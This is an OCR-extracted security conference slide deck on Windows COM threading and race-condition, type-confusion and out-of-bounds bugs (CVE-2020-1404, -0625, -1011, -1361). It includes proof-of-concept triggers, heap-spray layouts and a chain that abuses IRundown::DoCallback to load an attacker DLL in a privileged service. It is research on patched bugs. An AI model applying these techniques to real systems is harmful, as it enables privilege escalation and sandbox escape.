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Basic Of COM



What is COM(Component Object Model)?

Invoker Provider
COM Object Framework
Native Code >/ \ Native Code
C/C++ - C/C++ -
Runtime Callable (?OM COM Callable
Wrapper Binary Wrapper
.NET Managed Protocol .NET Managed
Code > Code

C#,VB, .NET C#,VB, .NET

- /




Related Research of COM/WinRT

« Having Fun with COM - James Forshaw

« The Inner Workings of the Windows Runtime - James Forshaw



Race Condition bugs in COM

v' The Inner working of COM Thread model
v Win Race Condition to get Use-After-Free
v Win Race Condition to get Out-Of-Bound Writing



The inner working of COM Thread Model

» Thread Safety

Thread safety 1s a computer programming concept applicable in the context of
multi-threaded programs. Different threads can access the same resources

without exposing erroneous behavior or producing unpredictable results

» Thread Safety of Client/Server

For Client

« Whether a COM server 1is thread safety 1s unknowable.
« Any COM client can access any COM server 1in anytime anywhere.

« Client 1s not responsible for thread safety.

« COM Assumption: All COM Server must be thread Xfety



Apartment Models with Invoker Thread

« Invoker Thread i1s used to complete the Client-Server callable task, created 1in
sever process during the Client-Server call.

- Apartment is a Property of a COM thread stored in Thread-Local Storage(TLS).

v/ Single-threaded Apartment Model (STA)

0-N apartments in a process, 1 thread in each apartment

v/ Multi-threaded Apartment Model (MTA)

0-1 apartments 1in a process, N threads in each apartment

v Neutral Apartment Model (NA)

0-1 apartments in a process, O thread in each apartment



Apartment Models with Invoker Thread

Process

___________________________________________

Reference from: “Understanding and Using COM Threading Model”

a Thread

Q Windows Message
Pumping

STA: Single Room
MTA: Dormitory
NA: Activity Room



Thread Models of COM Object

» What 1s COM Thread Model?

= Thread Model 1s a Property of COM Object.
» Thread models are related to the COM object, while apartment models are related to the invoker
thread.

» Thread Model classification

« Single Thread Model (Single, only support STA® apartments)

- Apartment Thread Model (Apartment, support all the STA No thread safety issues
apartments)

« Free Thread Model (Free, support the MTA apartment)

« Both Thread Model (Both, support the STA,MTA,NA apartment:« There may be thread safety issues

« Neutral Thread Model (Neutral, support the NA apartment)

https://docs.microsoft.com/en-us/windows/win32/cossdk/threading-model-attribute



Thread Models and Apartment Models

« Method calls to COM objects in the same apartment are made directly.
« Method calls made across apartments are achieved via marshalling.

process
e, S ., . .. .. ...
i COM Runtime - 7
1 YY) L i i i R e e ] |
| Worker :
: Create 1
1
: %
1 a ! P
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| 1 STA 0
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1
! Create : :i”
1 ! Ry .
: Create ! :_i I COM Object Dispatch message
: -
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1 1
L} 1
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reads

COM Object COM Object



Single

For threading model
com object, there could be only one
invoker threads accessing the object
at the same time.

For threading model com
object, there could be multiple
invoker threads accessing the same
object at the same time.

For thread modeling
com object there could be only
Neutral multiple invoker threads
accessing the object at the
same time.




Win Race Condition to get Use-After-Free

Escape AppContainer Sandbox

(@

DCOM Activator

y

RPCSS

Partial Trust
Class

AppContainer Sandbox Medium User Level

Reference from: “The Inner Workings of the Windows Runtime”



CVE-2020-1404 - Root cause Analysis

UWP Application in AppContainer Bandbox

Button_Click(

ondaryTile 5econdaryTile = new SecondaryTile

secondaryTile.PhoneticName = "1234

PhoneticName = secondaryTile.PhoneticName;

rocess [D:

tring Bindings:

Windows Developer Explore ~ Platforms +~  Downloads Samples Support

WNindows / Apps / UWP / Reference / Windows Runtime APl / Windows.UlStartScreen / SecondaryTile C# v @ Save

Version “> SecondaryTile CIaSS

e Fouild 20348 Namespace: Windows.Ul.StartScreen
Né Filter by title

“ seLonuary e Creates, enumerates, and provides information about a secondary tile. & Edit

SecondaryTile - B Copy

Constructors

[Windows.Foundation.Metadata.ContractVersion(typeof(Windows.Foundation.UniversalApiContract)

65536) ]

[Windows.Foundation.Metadata.Activatable(typeof(Windows.UI.StartScreen.ISecondaryTileFactory

65536, "Windows.Foundation.UniversalApiContract")]

[Windows.Foundation.Metadata.Activatable(65536,

"Windows.Foundation.UniversalApiContract")]

[Windows.Foundation.Metadata.Activatable(typeof(Windows.UI.StartScreen.ISecondaryTileFactory

65536, "Windows.Foundation.UniversalApiContract™)]

Model [Windows.Foundation.Metadata.MarshalingBehavior(Windows.Foundation.Metadata.MarshalingType.A
public sealed class SecondaryTile

~erties

sualElements

ager

ModelActivationBeh

Inheritance Object = SecondaryTile

| Runtime Classes l/Windows.UI.StartScree...)/Marshal Viewer - Stan... ] -
| IID Name: |WindDws_CUI_CStartScreen_CISecondaryTile

| IID: |9E9E5'IECI—2BBS%BCU—BBSD—42B23ABCCSBD

D680 | Public Refs: [1

2052A8811C97 | OlD: |Ux28028D8AF8FD2921
Ud054C24-2EDC-FFFF-6220-3D167EEECBAS | Apartment
11996 View Process Name: |F€uﬂmeBerer

Security Bindings:

[Guid("b2f6cc35-3256-49968-923¢-294abab694dd" )]
interface Windows::UI::StartScreen::ISecondaryTile2
HRESULT put_PhoneticName (
HRESULT get_PhoneticName (
HRESULT'get_VisualElementsk

HRESULT Proc9(
HRESULT Procle(
HRESULT Procll(
HRESULT Proc12(

Runtime Broker

IInspectable {
[In] HSTRING p®);
[Out] HSTRING* p@);
[Out] Windows__ CUI__CStartSc
[In] sbyte p@);
[Out] sbyte* p@);
[In] ITypedEventHandler_2 Windows__ CUI
[In] struct Struct_6 pe@);

SecondaryTile object can be created
in Multi-threaded Apartment



CVE-2020-1404 - Root cause Analysis

RESULT Windows: :UI::StartScreen::SecondaryTileImpl::put_PhoneticName(Windows: :UI: :StartScreen::SecondaryTileImpl *this,
HSTRING other){

HRESULT hr;
HSTRING str;
HSTRING newString;

&newString);

str = this->PhoneticName; Thread 1 and 2 arrive here

this->PhoneticName = newString;

WindowsDeleteString(str); together

hr;

RESULT Windows: :UI::StartScreen::SecondaryTileImpl::put_PhoneticName(Windows::UI: :StartScreen::SecondaryTileImpl *this,
HSTRING other){

HRESULT hr;
HSTRING str;
HSTRING newString;

hr = WindowsDuplicateString(other, &newString);
( hr < 8 )
hr;
str = this->PhoneticName;

this->PhoneticName = newString; Thread 1 and 2 al"l"ive hel"e

WindowsDeleteString(str);

hi? together Trigger a UAF issue!




CVE-2020-1404 - Proof of concept

daryTile secondaryTile;|

id ChildTriggerThread()

while (true)

{

try
{

secondaryTile.PhoneticName = "123";

}
catch (E ex){}

id CreateThread()
0; i < 10; i+)

eadStart childref = new ThreadStart(ChildTriggerThread);
Thread childThread = new Thread(childref);
childThread.SetApartmentState(ApartmentState.MTA);
childThread.Start();

Crash

ntdll!RtlReportFatalFailure+8x9
ntdll!RtlReportCriticalFailure+@x97
ntdll!RtlpHeapHandleError+ex12
ntdll!RtlpHpHeapHandleError+ex7a
ntdll!RtlpLogHeapFailure+8x45
ntdll!RtlpHpLfhSubsegmentFreeBlock+8x78f81
ntdll!RtlpFreeHeapInternal+ex3f4
ntdll!RtlpHpFreeWithExceptionProtection+@xle
ntdll!RtlFreeHeap+@x6c

combase! STRING_OPAQUE: :Release+@x3f
combase!HSTRING_UserFree64+8x1b
rpcrt4!Ndre4UserMarshalFree+0x7b
rpcrt4!Ndré4pFreeParams+8x386
rpcrt4!Ndré4StubWorker+8x168a
rpcrt4!NdrStubCall3+exc9
combase!CStdStubBuffer_Invoke+@x73
rpcrt4!CStdStubBuffer_Invoke+8x3b

combase!ObjectMethodExceptionHandlingAction<<]

combase!DefaultStubInvoke+©xlc3
combase!SyncServerCall: :StubInvoke+8x26
combase!ServerCall: :ContextInvoke+8x42a
combase!DefaultInvokeInApartment+6xad



CVE-2020-1404 - EXPloitation All the HSTRING need to be large enough to avoid LFH

/

HSTRING 1 HSTRING 2 HSTRING 3 HSTRING 4

Free HSTRING 2

e

HSTRING 1 [ Freed ] HSTRING 3 HSTRING 4

‘ Thread 1 enters: free HSTRING 3

‘ Windows Heap Manager merges freed chunk

‘ Thread 2 enters: allocate a new HSTRING
HSTRING 1 NEW HSTRING HSTRING 4

‘ Thread 3 enters: use freed HSTRING 3 (Where UAF happens)
HSTRING 1 NEW HSTRING HSTRING 4

HSTRING 3

Filled with user-controllable data




HSTRING Evil HSTRING
Length Flag Arbitrary Length

GAP GAP
rewrite

R Bal e ' Arbitrary Address

Flag

Calling ISecondaryTile->get_PhoneticName with fake HSTRING 3 to get Read-What-Where

HRESULT Windows::UI::StartScreen::SecondaryTileImpl::get_PhoneticName(Windows: :UI::StartScreen::SecondaryTileImpl *this,
HSTRING *out){

HRESULT hr;
HSTRING newString;

hr = WindowsDuplicateString(this->PhoneticName, out);
( hr < 8)
hr;

|

I ® Hard to Exploit such Race Condition UAF bugs stably, it’s easy to cause the crash, but you can keep :

I . . I
trying until you succeed I

1
b o o o e e e e e e e e e M M M M M M M M M M M M M M M M M M M M M M M M M M M M M M M e M M M M M e M e M e e e e e e e e e



Win Race Condition to get Out-Of-Bound Writing

Public Example : CVE-2020-0625 (Found by shefang Zhong)

Vulnerable COM Interface: ISearchRoot (Exposed by Local COM Server WSearch)

[Guid("@4c18ccf-1f57-4cbd-88cc-3900f5195¢ce3")] ISearchRoot->put_Schedule copies
L e TRCE L B o DI user-controlled buffer into ISearchRoot

HRESULT put_Schedule( [In] wchar_t* po); .

HRESULT get_Schedule( [Out] wchar_ t** pe); ObJeCt'

HRESULT put_RootURL( [In] wchar_t* p@);

HRESULT get_RootURL( [Out] wchar_t** pe);

HRESULT put_IsHierarchical( [In] int p®@);

HRESULT get_IsHierarchical( [Out] int* p@);

HRESULT put_ProvidesNotifications( [In] int p@);

HRESULT get_ProvidesNotifications( [Out] int* pe);

HRESULT put_UseNotificationsonly( [In] int pe); ISearchRoot->get_Schedule reads the

HRESULT get_UseNotificationsOnly( [Out] int* p@); data of ISearchRoot object into

HRESULT put_EnumerationDepth( [In] int p®@);

HRESULT get_EnumerationDepth( [Out] int* pe); OUtp'Jt buffer.

HRESULT put_HostDepth( [In] int p@);

HRESULT get_HostDepth( [Out] int* p@);

HRESULT put_FollowDirectories( [In] int p@);

HRESULT get_FollowDirectories( [Out] int* p@);

HRESULT put_AuthenticationType( [In] int po);

HRESULT get_AuthenticationType( [Out] int* pe);

HRESULT GetCatalogNum( [In] wchar_ t* p@);

HRESULT get_User( [Out] wchar_t** pe);

HRESULT GetCatalogNum( [In] wchar_t* p@);

HRESULT get_User( [Out] wchar_t** pe);




Win Race Condition to get Out-Of-Bound Writing

HRESULT CSearchRoot::get_Schedule(CSearchRoot *this, unsigned __intl16 **a2){
HRESULT hr;
hr = CheckNullOrEmptyWSTR(a2);
( hr < 2)
hr;
(this->buffer)q{
buffer = CoTaskMemAlloc( 2*wcslen(this->buffer)+2 );
(buffer){
*a2 = buffer;
hr = StringCchCopyW( *a2, wcslen(this->buffer)+l , this->buffer );
(hr<o) {

Trigger a heap O0OB Write issue!

Reference from : https://blog.diffense.co.kr/2020/03/26/SearchIndexer.html

First fetch, taking a small
size as allocation size.

Call ISearchRoot->put_Schedule 1in
the time window between the upper
and lower codes to rewrite buffer
Pointer size

Second fetch, taking a large
size as copy size.



https://blog.diffense.co.kr/2020/03/26/SearchIndexer.html

From Type Confusion Bugs to Code Execution



From Type Confusion bug to code execution

CVE-2020-1011 - Root Cause Analysis

Vulnerable WinRT Interface :

IXmlNode (Get from runtime class: Windows.UI.Notifications.ToastNotificationManager )

[Guid ("1c741d59-2122-47d5-a856-83£3d4214875") ] __inté4 _ fastcall DOMNode: :AppenChild(
interface IXmlNode DOMNode *this,
{ Windows: :Data: :Xml: :Dom: : IXmlNode *newChild,

/* Methods */ Windows: :Data: :Xml: :Dom: : IXmlNode **returnValue

bocl HasChildNeodes();
IXmlNode InsertBefore (IXmlNode newChild, IXmlNode ref
I¥mlNode ReplaceChild(IXmlNode newChild, IXmlNode
IXmlNode RemoveChild (IXmlNode childNode);
| IXmlNode AppendChild(IXmlNode newChild);

I¥mlNode CloneNode (bool deep); — - r =
void Normalize(): newNode = Node::IUnk2Node(newChild);

/% properties */ DOMNode: : _insertBefore((DOMNode *)((char *)this - 56), 1, newNode);
¥mlNamedNodeMap Attributes { get; }
¥XmlNodeList ChildNodes { get; }
IXmlNode FirstcChild { get; }
IXmlNode LastChild { get; }

object LocalName { get; }

object NamespaceUri { get; }

- Node *newNode;
erenceChild) ;

IX¥mlNode NextSibling { get; } Node *__fastcall Node::IUnk2Node(IUnknown *pUnk)
string NodeName { gst; } {
NodeType NodeType { get; } -
object NodeValue { get; set; } o
¥mlDocument OwnerDocument { cget; } VU1nerab1e funCtlon
I¥mlNode P tNode { t; } -
objec: ;reiizn{ gei; Sgi; } result = (Node *)Object::getObjectFromIUnk(pUnk, &IID_Node);
I¥mlNode PreviousSibling { get: } ( result )
} result;

ThrowIfMSXMLObject(v2);
Exception: :throwHR(-21 , V4, V5, v6);
result;




CVE-2020-1011 - Root Cause Analysis

Vulnerable Code Snippet: msxml6.d1l1!0bject::getObjectFromIUnk

Getting from Client, user can forge
a fake IUnknown object and pass it
to server

Object* Object::getObjectFromIUnk(IUnknown *pUnk, _GUID *iid){

__1inté4 obj;

__1int64 IServiceProvider_obj;
__1inté4 ISequentialStream_obj;
char UnknownData[16];

__1int64 Ret_obj;

ULONG cbRead;

I punk . .
(Iptnk) oy Custom implementation

( pUnk->QueryInterface( iid, (void **)&obj ) ){

( puUnk->QueryInterface( &IID_IServiceProvider, (void **)&IServiceProvider_obj ) )
NULL;

( !'IServiceProvider_obj->GetService( iid, &IID ISequentialStream, &LSequentialStream_obj ) ){
( !'ISequentialStream_obj->Read( UnknownData, 24, &cbRead ) )
Ret_obj;

Taking user controllable
data as a valid object
address



Construct fake COM object for exploitation(x86 system)

Primitive: A object pointer we can control
What we need: A address we can fully control

Find a COM interface which
, allows us to put many user-
0x0@19ac000 Fake Object How to heap spray?  controllable HSTRING on the

| |
| |
" |
| |
| |
| |
|
| .
i 0x019ac040 Fake Object ; server heap
|
I [N I
| |
| |
" |
| |
| |
| |
|

Heap Spray 1n x86 system

[ ) R [] For example:
(f 0x10000000 | Fake Object IXmlNode->put_NodeValue

The address we need!

Fake object contents

ntdll|DbsBreakPoint: <
77292500 o int 3
Fake vftable 0:018> db 10000000

20 00 00 1042 42 42 42-42 42 42 42 42 42 42 42 . . . BEEEEEEEEEEE
10000010 42 42 42 4242 42 42 42 42 47 47 47| EEEBEEBEEEEEEEEEE
10000020 43 43 43 43 43 44 43 43-43 43 43 45 43 43 43 43| CCOCCCCCCCCOCCCC
10000030 42 42 42 42 42 42 42 42-42 42 42 47 42 47 47 42 TEEEBEEEEBEEEEEEEEE
10000040 20 00 00 10 42 42 42 42-42 42 42 47 42 42 472 42 . . . BEEEEEEEEEEE
10000050 42 42 42 42 42 42 42 42-42 42 42 47 42 47 47 42 TEEEBEEEEEEEEEEEEE
10000060 43 43 43 43 43 43 43 43-43 43 43 435 43 43 43 43 CCOCCCCCCCCOCCOC
lo0o0o070 42 42 42 42 42 42 42 42-42 42 42 47 42 42 47 42 EBBEEBEEEBEEBEEEE




Require a Info leak for exploitation(x64 system)

X Heap spray
® Require huge memory consumption

v Info leak

® Require a Info leak bug to leak where our fake objects locates



From Out-Of-Bound Writing to Arbitrary Reading/Writing

v From Arbitrary Writing to code execution

v From Arbitrary Reading to code execution



From Out-Of-Bound Writing to Arbitrary Reading/Writing

CVE-2020-1361 - Root Cause Analysis

Vulnerable COM Interface: IWalletCustomPropery (Exposed by Local COM Server: WalletService)

[Guid("21f1a452-9759-48a5-8d9b-bbd859ef89ee™)]

interface IWalletCustomProperty : IUnknown {
HRESULT GetLabel( [Out] struct tagPROPVARIANT* p@);
HRESULT SetLabel( [In] struct tagPROPVARIANT* p@);
HRESULT GetValue( [Out] struct tagPROPVARIANT* p@);
HRESULT SetValue( [In] struct tagPROPVARIANT* pB)J

HRESULT GetType( [Out] int* pe@);

HRESULT SetType( [In] int p@);

HRESULT GetGroup( [In] int p@, [Out] int* pl, [Out] int* p2);
HRESULT SetGroup( [In] int p@, [In] int pl, [In] int p2);




CVE-2020-1361 - Root Cause Analysis

Vulnerable Code Snippet: WalletService.dll!Wallet::WalletCustomProperty::SetGroup

inted _ fastcall Wallet::WalletCustomProperty::SetGroup(__int64 this, int offset, int user_control_valuel

» 1

a
unsigned int v4; // erl@
VA = 8;
if ( offset == 1)
{

if ( user control valuel & BxFFFFFFDF )}
return (unsigned int)-2147024809;

}
else if ( user control valuel == 32 )
{
return (unsigned int)-2147824809;
}
if ( user control value2 == -1 )
{
*( DWORD *)(this + 8i64 * offset + 116) = 0;
#(_DWORD #)y(this + 8ind * offset + 120) = Ox7FFFFFFF;
}
else
{
*( _DWORD *)(this + 8i6d * offset + 116) = user_control valuel; No Offset Range Check!
*(_DWORD *)(this + 8164 * offset + 120) = user_control value2;
}
return vi;

Trigger a heap 00B Write issue!



Overwrite Object Pointer Member to get Write-What-Where

Wallet::WalletCustomProperty::SetLabel Control cstring object to get Write-What-Where

1| _int64 _ fastcall Wallet::WalletCustomProperty::SetLabel{ int64 this, const struct tagPROPVARIANT *var)
2
3| unsigned int v4; // ebx
4 _WORD *v5; [/ rdx
5/ BSTR usercontrol str_buffer; // rdx
5| unsigned _ int64 usercontrol str _len; // r8
/ P utl::basic_string<unsigned short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::assign(
ol V& = U, id **
I P s . . void **dest_str,
; zf ( (unsigned int)Wallet::Utils::IsPropVariantEmpty(var, var) ) wchar_t *src_str,
: U5 = *(_WORD *¥)(thic + 48); unsigned __1int64 src_str_len
2 ®(_QUORD *)(this + 56) = v5 + 1;
3| *vs = e;
a|  ®F(_WORD **)(this + 56) = @;
5|3
5 else if ( var-»vt == 8 )
7 4
3 memmove_@(*dest_str, src_str, src_str_len*2);
2
1 trol str_len] );
5
8
2 if ( lutl::basic_string<unsigned short,utl::char_traits<unsigned short»>,utl::allocator<unsigned short»»::assign(// copy src_str to dest str
1 J/ dest_str
2 J/f src_str
3 J// src_str_len
1
50 F
00011470 ?SetLabel@WalletCustomPropertyvEWallet@RUEAAJPEEUtagPROPVARIANTRR@Z:1 (180012670)




Overwrite Object Pointer Member to get Read-What-Where

Wallet::WalletCustomProperty::GetlLabel

¢

Control BSTR object to get Read-What-Where

inted  fastcall Wallet::WalletCustomProperty::GetLabel{ int64 this, struct tagPROPVARIANT *wvar)

unsigned int v2; // ebx
struct tagPROPVARIANT *v3; // rdi
HRESULT v5; // eax

-+

Ean
o

g

v5 = PropVariantClear((PROPVARIANT *)var);
if ((v5 >=8 )

{
vi->vt = 8;
v3i->bstrVal = SysAllocString(*(const OLECHAR **)(this + 48));
}
else
{
v2 = v5;
}
}
else
{
ve2 = -2147467261;
}

return vi;



Overwrite Next Object’s Contents

IWalletCustomProperty vftable

[...]

—

[...]

IWalletCustomProperty vftable

[...]

—

[...]

IWalletCustomProperty vftable

[...]

—

[...]

From Write-What-Where to code execution

objectl

O0OB Write

object2

object3

IWalletCustomProperty vftable

[...]

[...]

Fake vftable

Fake Contents

Fake Contents

IWalletCustomProperty vftable

[...]

[...]




Forge Fake vftable to Get Code Execution

QueryInterface
IWalletCustomProperty vftable Addref
[...] Release
[...] dxgi.dll!
7 ATL: :CComObject<CDXGIAdapter>
Fake vftable "//' \\:)>\\ii‘iiifii_ffiffiif”/////
destructor
Fake Contents / [.]

Fake Contents

IWalletCustomProperty vftable . _ . .
dxgi.dll! ATL::CComObject<CDXGIAdapter>:: vector deleting destructor’

will call LoadLibraryEx and take a global pointer as the D11l path
[...] which could allow us to load arbitrary dll.

[..]

The full exploitation can be found at GitHub.


https://github.com/Q4n/CVE-2020-1362#from-www-to-arbitrary-code-execution

From Read-What-Where to code execution

The way to the heaven -

[Guid(“eeeeel34-eeee-0000-ce00-000000000046™) ]
interface IRundown : IUnknown {

HRESULT RemQueryInterface( );
“ﬂ- OleView .NET v1.10 - Administrator - - 64bit R RE-F( ) 3
HRESULT RemRelease( )
File B(.egistry ij(?ct Security Processes Storage Help HRESULT RENQUEP}-’IH":EF'FECEE( )-‘
me:zilstry Properties | COM Processes /1648 - svchost - NT ... [ 1P#f00009001-0670-F... | HRESULT Ac knowledgema — ﬂgSEt . ( ) :
Executable Path: |C:\Windms\SystemSﬁsvchDst.exe / HRESULT RemCha ngE'RE'F ( ) ’
Process ID- 1645 / HRESULT DoCallback( [In] struct XAptCallback* p@);
AppiD: [NA l; HRESULT DoNonreentrantCallback( IR
Access Permissions: |o:l_sG:LSD:(A;;ccD{:Lc;;;AU)(A;;C{:DCL{:;;;Af HRESULT GetInterfaceNameFromIPID(
LRPC Permissions: | D-(A:Oxeffaffff. WD)(A.Oxeffaff.-AN)(A: Gl -AC)(A::GR:::5-1-15-3-1024-2405443489-874036122-424 HRESULT RundownOid( )s
User [NT AUTHORITY\LOCAL SERVICE i }
Security Flags: |Capabi|ities: DISABLE_AAA, NO_CUSTOI\'._MARSHAL, Authn Level: PKT, Imp Level: IDENTIFY, Unmarshal Policy: STRONG |
STA HWND: |ox0 | |
IPIDs: |:| Show Disconnected IPIDs '
IPID T~ Flags

00008400-0670-0000-7037-da16e879a6e3 IPIDF_SERVERENTRY, IPIDF_NOPING, IPIDF_TRIED_ASYNC, IPIDF_UNSECURECALLSALLOWED
00009001-0670-ff-03d5-c265fdcc25f4 IPIDF_SERVERENTRY, IPIDF_NOPING, IPIDF_UNSECURECALLSALLOWED
00009802-0670-0000-196-b343db01237b ILocalSystemActivatar IPIDF_SERVERENTRY, IPIDF_NOPING

The purpose of DoCallback: cross-apartment call(used by internals)

https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html



https://googleprojectzero.blogspot.com/2018/11/injecting-code-into-windows-protected.html

Abusing CRemoteUnknown::DoCallback to get RIP control

HRESULT CRemoteUnknown::DoCallback(CRemoteUnknown *this, XAptCallback *pCallbackData){

HRESULT hr;
( !'IsEqualGUID( pCallbackData->guidProcessSecret , CProcessSecret::s_guidOle32Secret ) )

Ox80070057; Server Secret

( pCallbackData->pServerCtx == g_pMTAEmptyCtx ) {
hr = ((__1inté4 (__fastcall *)(__int64)) pCallbackData->pfnCallback )( pCallbackData->pParam );

{

struct XAptCallback {
inté64_t pfnCallback;

int64_t pParam;
int64_t pServerCtx;
int64_t punk;
GUID iid;
DWORD iMethod;
GUID guidProcessSecret;




Abusing CRemoteUnknown: :DoCallback to get RIP control

HRESULT CRemoteUnknown::DoCallback(CRemoteUnknown *this, XAptCallback *pCallbackData){

HRESULT hr;
( !'IsEqualGUID( pCallbackData->guidProcessSecret , CProcessSecret::s_guidOle32Secret ) )

0x80070057;

( pCallbackData-»>pServerCtx == g pMTAEmptyCtx ) {
hr = ((__1inte4 (__fastcall *)(__inté4)) pCallbackData->pfnCallback )( pCallbiackData->pParam );

{

9:008> dt combase+384908
CProcessSecret::s puid0le32Secret
{95d1414c-5830-5de4-fd4e-6650f52aa851}

+0x000 Datal : @x95d1414c
+0x004 Data2 1 BX5830
+9x006 Data3 : @x5deq
+0x008 Datad : [8] "22°

©:008> dt combase+3043F@

g pMTAEmptyCtx

XY .9¢e Caslalbs
+0x000  VFN table : exeeee7ffa defd25de
+0x008  VFN table : exeeee7ffa defd2598
+0x010  VFN table : exeeee7ffa defd255e0
+0x018 _ VFN_table : exeeee7ffa defd2518

3 +0x020 VFN tahle : oxpoaa7ffa defd24f8

pCallbackData->pfnCallback = GetProcAddress(LoadLibraryW(L"Kernel32.d1l1l"),"LoadLibraryW");

pCallbackData->pParam = &"Path_to_exp.dll"™;



Critical Corpus for exploitation:
» What we have:

CProcessSecret::s_guidOle32Secret: Read from Combase.dll
g pMTAEmptyCtx: Read from Combase.dll
pCallbackData->pfnCallback: Pick LoadLibraryW for our target

need:

Proxy of IRundown object from local server
pCallbackData->pParam: Require to be a pointer point to user-controllable string




Getting a IRundown object proxy from local server

Client Side Sever Side

Require IUnknown object proxy
CoCreatelInstance >

IID (lower 8 Bytes) — IID_IUnknown

= (upper W //

Reference

Return OBJREF |buffer

Parsing OBJRHF buffer

Get IUnknown object _—"]
Proxy

Object ID (OID)

MCe Pointer ID (IPID
\

IPID (upper 8 Bytes IPID_IUnknown




Getting a IRundown object proxy from local server

CoCreatelInstance

Get IUnknown Object
Proxy

v
CoMarshallInterface

IID (lower 8 Bytes)

IID (upper 8 Bytes)

Reference

Object ID (OID)

Interface Pointer ID (IPID)

IPID (upper 8 Bytes)

Reference

Object ID (OID)

TCbUnmarshalInterface

'

IRundown Object Proxy



Get the IPID of IRundown object

0:020> dt combase+3058EQ
CIPIDTable:: palloc

+0x00@ _pgalloc : |CInternalPageAl locator

+0x05@ hHeap : (null)
+0x858 cbPerkentry )
+0x060 1NMumEntries

0:020> dx -rl1 (*((combaselCInternalPageAllocator *)@x7tfadfeo58e0))
(*((combaselCInternalPageillocator *)ex7ffadfe9s8e0))
[+oxeee] _cPages : : igned _inteal
[+oxee8] _pPagelListStart :| @x29eca817e60 [Type: tagPageEntry * *] I

[+8x@810] _pPagelistEnd T Ox29ecgBl7e68 |[Type: tagPageEntry * ~|
[+0xe18] dwFlags T Ox0 pe: unsigned long]

[+8xe20] _ListHead [Typey tagPageEntry]

[+0x038] cEntries 1 224 [Type: long]

[+8x838] _cbPerkntry 78 [Type: unsigned  inte4]
[+0x840] cEntriesPerPage :/Bx32 [Type: unsigned short]
[+exe48] plock T Ox@ [Type: COleStaticMutexSem *]

000829 casgl7e60 " PPPOBOOD
000PR29e” ca8l7e70 ©OOOPORE DPBPRRO1 PDPEOERO PEREBEO
0000029 ca8l7e80 00OOOOOO DPEOOOPE 40230000 GOPOAEOD
00PPB29e ca8l7e96@ 0OER7fTa dfeesac8 PEOEEERE  PEREEEO1
0000029 cagl7ead 0©0OOOOOO DPEOOOO1 PPODAADE BOPOREOD
0000029e ca817¢bd ©EEREEEE DEEEREEE 40200000 PEREEEO
0000029 cagl7ecd ©0007fTa defe2210 PDOOEOD1 GOPOREOD
0000029 ca8l7ede ©EEREEEE DPEEREO1 PRPERERO  PEREEE.

[Type: CInternalPageAllocator]

Object address

Object IPID

0:020> dt tagIPIDEntry 0000029e ca833ead
combasel!tagIPIDENntr

+0X000 1D (null)

dwFlags 9x1880c
+BxB0c cStrongRefs 5
+0x010 cWeakRefs 9
+0x014 cPrivateRefs (%
+0x018 pv Ox0P0R029¢e ca8l/e3n Void / |
+0x820 pStub 0x00ee029%e cag8l57de IUunkhown
+0x028 pOXIDEntry 0x0000029%¢e caB832d80 D;fgzntry
+0xB830 1pld ;. GUID {000pephon-0850-PBP0-a8t5-31d381877d17}
+0x040 jid : _GUID {00000134-0000-00
+0x0850 pchnl 0x0000029e” ca832bde CCtx
+0x058 pIRCEntry (null)
+0x060 pInterfaceName (null)
+0x068 pOIDFLink oxeeee/ffa dfeg44ce tagIPIDEntry
+0x870 pOIDBLink 0x00ee029e cag833f18 tagIPIDEntry

Object IID



Point pCallbackData->pParam to user-controllable string

Step 1 — Input DLL Path into local service

VARIANT var;
var.vt = VT_BSTR;

var.bstrval = SysAllocString(L"C:\\1\\exp.dll");
IWalletCustomProperty_object->SetlLabel(&var);

Step 2 — Find the address of IWalletCustomProperty Object in server

IWalletCustomProperty_object in client pv 1s the address of the
9:020> dt tagIPIDEntry ©000029e” cag33ead IWalletCustomPro perty Ob] ect 1n
combaseltagIPIDEntry

+0x000 pNextIPID ¢ (null) the server
+0x008 dwFlags ! @x1e8ec
+0x00c cStrongRefs : 5
+0x010 clleakRefs |
+0x014 cPrivateRefs )
| +exe1s pv ! ©xPLOPe29e ca8l7e3@ Void
FOX020 pStub T OXDODPD20e Caslb/a0 Lunknown
COMarShalInterface +0x028 pOXTDENtry L Ox08000029a" caAR32dR0 OXTDENntry
I +0x030 ipid :  GUID {p0P00echp0-0850-0000-a8f5-31d381877d17} I
+0x0e40 iid ! _GUID {00000134-0000-0000-C000-000000000046 |
Compare IPID +0x050 pChnl : ©x0000V29e” ca832bde CCtxComChnl
+0x058 pIRCEntry ¢ (null)
+0x060 pInterfaceName : (null)
+0x068 pOIDFLink ! Ox0eee7ffa  dfe944ce tagIPIDEntry
+0x070 pOIDBLink ! ©xP000029e” ca833f18 tagIPIDEntry

Get IPID from OBJREF
buffer



Point pCallbackData->pParam to user-controllable string

Step 3 — Find DLL Path string location

| int64 _ fastcall Wallet::WalletCustomProperty::SetlLabel{ int64 this, const struct tagPROPVARIANT *var)

il
”Eé;ﬁ"fjg?ﬁjviixff o ©:020> dt tagIPIDENtry 0@e0029e” cag33ead
BSTR usercontrol_str_buffer; // rdx combaseltagIPIEc)Entry (nal1) " "
unsigned __ int64 usercontrol_str_len; [/ r& +0X000 pNexTIPID +onu * 1 + == 4
sl Pl x(Object address + 48) §"C:\1\exp.d1l
vi = 83 +oxeec cStrongRefs t 5
if ( (unsigned int)Wallet::Utils::IsPropVariantEmpty(var, var) ) 1+0x010 clleakRefs )
{ +0x014 cPrivateRefs L

U5 = *(_WORD **)(this + 48);
*(_QWORD *)(this + 56) = v5 + 1;
*5 = 9

*x(_JORD **) (this + 56) = @;

+0X018 pv . ©X0000029¢ cadl7e30 Voig
+0X020 pStub Ioex e Ca nknown

+0x028 pOXIDENntry ©X0000029e” cag32d8e OXIDEntry

+0x030 ipid 1 _GUID {P000e00D-8850-0000-ast5-31d381877d17}
else if ( var->vt == 8) +oxede iid : _GUID {000ee134-2000-2000-Co00-000000000046 |
{ +0x05@ pChnl 1 @x0000029e” cag32bde CCtxComChnl
usercontrol_str_buffer +0x@58 pIRCEntry 1 (null)
if ( usercontrol_str_bu +0x060 pInterfaceName : (null)
{ eercontrol ctr len = 1164 +0x068 gOIDFL@nk : 0x06997ffa:df0944c0 tagIPIDEntry
do o ’ +0x070@ pOIDBLink : @x0000029¢” ca833f18 tagIPIDEntry

++usercontrol_str_len;
while ( usercontrol str bu

else

{

usercontrol_str_len = 0i64;

er[usercontrol_str 2

1
if ( lutl::basicistring<q99{§;éd short,utl::char_traits<unsigned short>,utl::allocator<unsigned short>>::assign(// copy src_str to dest str

[[(void *)(this + 48}, ] // dest_str
